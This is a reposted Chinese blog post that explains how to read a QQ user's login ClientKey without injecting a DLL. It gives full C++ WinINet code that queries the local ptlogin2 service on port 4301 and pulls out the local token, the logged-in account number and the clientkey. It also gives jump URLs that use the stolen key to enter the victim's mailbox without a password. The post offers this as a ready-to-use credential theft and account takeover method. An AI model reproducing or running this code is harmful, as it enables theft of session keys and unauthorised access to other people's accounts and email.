读取ClientKey的另一种思路,无需注入DLL

读取ClientKey的另一种思路,无需注入DLL需要注意的是 这种方法获取的 clientkey 长度是 224 位 和之前注入 dll 获取的不一样 注入 dll 获取的是 64 位的 clientkey 利用方法 64 字节 http ptlogin2 com jump ptlang 2052 amp clientuin 号码 amp clientkey 64 个字节的 KEY amp u1 需要登陆的服务网站地址 224 字节 htt

需要注意的是,这种方法获取的clientkey长度是224位,和之前注入dll获取的不一样。

注入dll获取的是64位的clientkey

利用方法:

64字节: http://ptlogin2..com/jump?ptlang=2052&clientuin=号码&clientkey=64个字节的KEY&u1=需要登陆的服务网站地址

224字节: http://ptlogin2..com/jump?clientuin=号&clientkey=224位字节的KEY&keyindex=9&u1=需要登陆的服务网站地址

 

例如,我想利用224字节的key,无密进入邮箱

用浏览器访问下面构造的地址,成功后会返回一个地址,复制再访问,就直接进入邮箱了

http://ptlogin2..com/jump?clientuin=号&clientkey=224字节key&keyindex=9&u1=https%3A%2F%2Fmail..com%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26vm%3Dwpt%26ft%3Dloginpage%26target%3D&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=25

#include "stdafx.h" #include 
  
    #include 
   
     #include 
    
      #include 
     
       #pragma comment(lib,"wininet.lib") using namespace std; char URL_STRING[] = "https://xui.ptlogin2..com/cgi-bin/xlogin?appid=636014201&s_url=http://www..com/2012/loginSuccess.htm&style=20&border_radius=1&target=self&maskOpacity=40"; int _tmain(int argc, _TCHAR* argv[]) { // 初始化URL URL_COMPONENTSA crackedURL = { 0 }; char szHostName[128]; char szUrlPath[256]; crackedURL.dwStructSize = sizeof(URL_COMPONENTSA); crackedURL.lpszHostName = szHostName; crackedURL.dwHostNameLength = ARRAYSIZE(szHostName); crackedURL.lpszUrlPath = szUrlPath; crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath); InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL); // 初始化会话 HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0); // 发送HTTP请求 HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0); // 查询HTTP请求状态 DWORD dwRetCode = 0; DWORD dwSizeOfRq = sizeof(DWORD); BOOL bRet = FALSE; bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL); // 读取整个Headers char lpHeaderBuffer[1024] = {0}; dwSizeOfRq = 1024; bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL); // 从Cookie中提取pt_local_token的值 char* pt_local_token = lpHeaderBuffer + dwSizeOfRq; while (pt_local_token != lpHeaderBuffer) { if (strstr(pt_local_token, "pt_local_token=")) { // 退出之前,修正偏移 pt_local_token += sizeof("pt_local_token"); char* pEndBuffer = strstr(pt_local_token, ";"); *pEndBuffer = 0; break; } pt_local_token--; } // 关闭句柄,只需要释放下面两个,注意关闭时按相反的顺序 InternetCloseHandle(hHttpRequest); InternetCloseHandle(hHttpSession); /* 第二次建立会话 */ // 初始化URL参数 char lpszUrlPath[MAX_PATH] = "/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk="; strcat(lpszUrlPath, pt_local_token); // url末尾追加pt_local_token // 初始化会话 hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2..com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0); // 发送HTTP请求,添加头信息 char* lpHeaders = "Referer:https://xui.ptlogin2..com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww..com%2F2012%2FloginSuccess.htm"; HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0); // 查询HTTP请求状态 dwRetCode = 0; dwSizeOfRq = sizeof(DWORD); bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL); // 获取返回数据的大小 DWORD dwNumberOfBytesAvailable = 0; bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL); // 读取网页内容 char* lpBuffer = new char[dwNumberOfBytesAvailable](); bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable); // 从内容中提取已登陆账号,是个js数组,这里只提取第一个 char* uin = lpBuffer + dwNumberOfBytesAvailable; while (uin != lpBuffer) { if (strstr(uin, "\"account\":\"")) { // 退出之前,修正偏移 uin += sizeof("\"account\":"); char* pEndBuffer = strstr(uin, "\""); *pEndBuffer = 0; break; } uin--; } cout << "[+] uin:" << uin << endl; // 释放资源,注意关闭句柄时按相反的顺序 InternetCloseHandle(hHttpRequest); InternetCloseHandle(hHttpSession); /* 第三次会话 */ // 初始化URL参数 ZeroMemory(lpszUrlPath,MAX_PATH); strcat(lpszUrlPath, "/pt_get_st?clientuin="); strcat(lpszUrlPath, uin); strcat(lpszUrlPath, "&callback=ptui_getst_CB&pt_local_tk="); strcat(lpszUrlPath, pt_local_token); // 发送HTTPS请求 hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2..com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0); // 添加头信息 lpHeaders = "Referer:https://xui.ptlogin2..com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww..com%2F2012%2FloginSuccess.htm"; HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0); // 查询HTTP请求状态 dwRetCode = 0; dwSizeOfRq = sizeof(DWORD); bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL); // 读取整个Headers ZeroMemory(lpHeaderBuffer, 1024); dwSizeOfRq = 1024; bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL); // 从Cookie中提取ClientKey的值 char* clientkey = lpHeaderBuffer + dwSizeOfRq; while (clientkey != lpHeaderBuffer) { if (strstr(clientkey, "clientkey=")) { // 退出之前,修正偏移 clientkey += sizeof("clientkey"); char* pEndBuffer = strstr(clientkey, ";"); *pEndBuffer = 0; break; } clientkey--; } cout << "[+] client key:" << clientkey << endl; InternetCloseHandle(hHttpRequest); InternetCloseHandle(hHttpSession); InternetCloseHandle(hInternet); delete[] lpBuffer; return 0; } 
      
     
    
  

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/221560.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月17日 下午5:49
下一篇 2026年3月17日 下午5:50


相关推荐

  • 数据库和数据仓库联系和区别

    数据库和数据仓库联系和区别数据库和数据仓库联系和区别 1 前言 2 来源 3 用途 4 特性不同 4 1 设计 4 2 优化 4 3 数据量 1 前言不能简单的说数据仓库是数据库的扩大版 它们是针对不同的服务而产生的 传统的数据库针对 OLTP 联机事务处理 主要应用与业务处理 而数据仓库针对 OLAP 联机分析处理 主要为决策服务 数据仓库的本质还是一个数据库 它将各个异构的数据源数据库的数据给统一管理起来 并且完成了质量较差的数据的剔除 格式转换 最终按照一种合理的建模方式来完成源数据组织形式的转变 以更好的支持到前端的可视化分析

    2026年3月18日
    2
  • 【转载】三方框架整理

    【转载】三方框架整理github 地址系统控件 TextView 一个功能强大的 TextView 可以满足日常大部分布局方式 Facebook 开源文本布局库 一个对齐 TextView 文本的库 自适应大小和行的 TextView Android 修改 6 0 系统文本选择菜单 歌词显示控件 支持多行显示 拖曳播放 自动识别歌词文件的编码 非常实用的省略控件 无 emoji 截断之乱码 无 charactersty 截断之不雅 歌词风格的 TextView 利用 Gradient 渐变实现 通过

    2026年3月26日
    1
  • 【Python 基础篇】Python代码 之 三目表达式总结

    【Python 基础篇】Python代码 之 三目表达式总结Python 中的三元表达式 result 为真时的结果 if 判断条件 else 为假时的结果 示例 gt gt gt x 1 gt gt gt y 2 gt gt gt result xifx gt yelsey 如果条件成立 将 x 的值赋给 result gt gt gt result2 上面的三元表达式等价于 gt gt gt x 1 gt gt gt y 2 gt gt gt ifx

    2025年6月19日
    6
  • CreateThread 函数[通俗易懂]

    CreateThread 函数[通俗易懂]改变了栈的大小,但是把CreateThread的第2参数改成0x100000或者更小的时候,程序还是会出现这样的问题,只有将栈的大小还原为默认值,且CreateThread的第2参数为0才能正确运行详细的请查看:http://topic.csdn.net/u/20090905/15/7bf41679-3ed9-40b5-ac71-5f11c088984c.html微软在Windows

    2022年7月11日
    28
  • Gson读取文件「建议收藏」

    Gson读取文件「建议收藏」读取文件

    2022年5月15日
    50
  • 推荐几个火狐浏览器插件好_安卓火狐浏览器插件

    推荐几个火狐浏览器插件好_安卓火狐浏览器插件致敬思杰马克丁起初马克丁追杀ParallelDesktop,我用VirtualBox,所以我不说话;接着他们追杀几何画板,我用Matl…

    2026年4月16日
    4

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号